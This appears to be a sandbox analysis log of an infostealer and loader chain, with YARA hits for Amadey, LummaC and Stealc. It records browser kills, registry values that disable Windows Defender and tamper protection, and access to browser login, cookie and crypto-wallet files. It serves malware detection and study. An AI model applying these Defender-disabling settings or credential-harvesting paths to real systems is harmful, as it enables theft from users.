Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 2155b53b29.exe, 0000000D.00000000.2625523027.0000000000F42000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: dbec6bb1cf.exe, dbec6bb1cf.exe, 00000009.00000002.2533868928.00000000006C3000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: rProgram Manager
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: lProgram Manager
Source: A77BGJTTW6SX9ESX.exe, 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: [Program Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001161001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001161001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.2246636477.0000000000B87000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246724139.0000000000B93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 12.2.skotes.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.0KH83O2UU7K66U0BZXMNJ98MCWGN.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.2397910206.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2349736258.0000000004B70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2391174497.00000000003F1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2673921546.0000000000741000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2632495189.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2155b53b29.exe PID: 7104, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 35.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: file.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: Wallets/JAXX New Version
Source: file.exe, 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: on","window-state.json"],"z":"Wallets/Binance","
Source: file.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","m":["keystore"],"z":"Wallets/Ethereum","d
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: file.exe, 00000000.00000003.2184146006.0000000000B76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
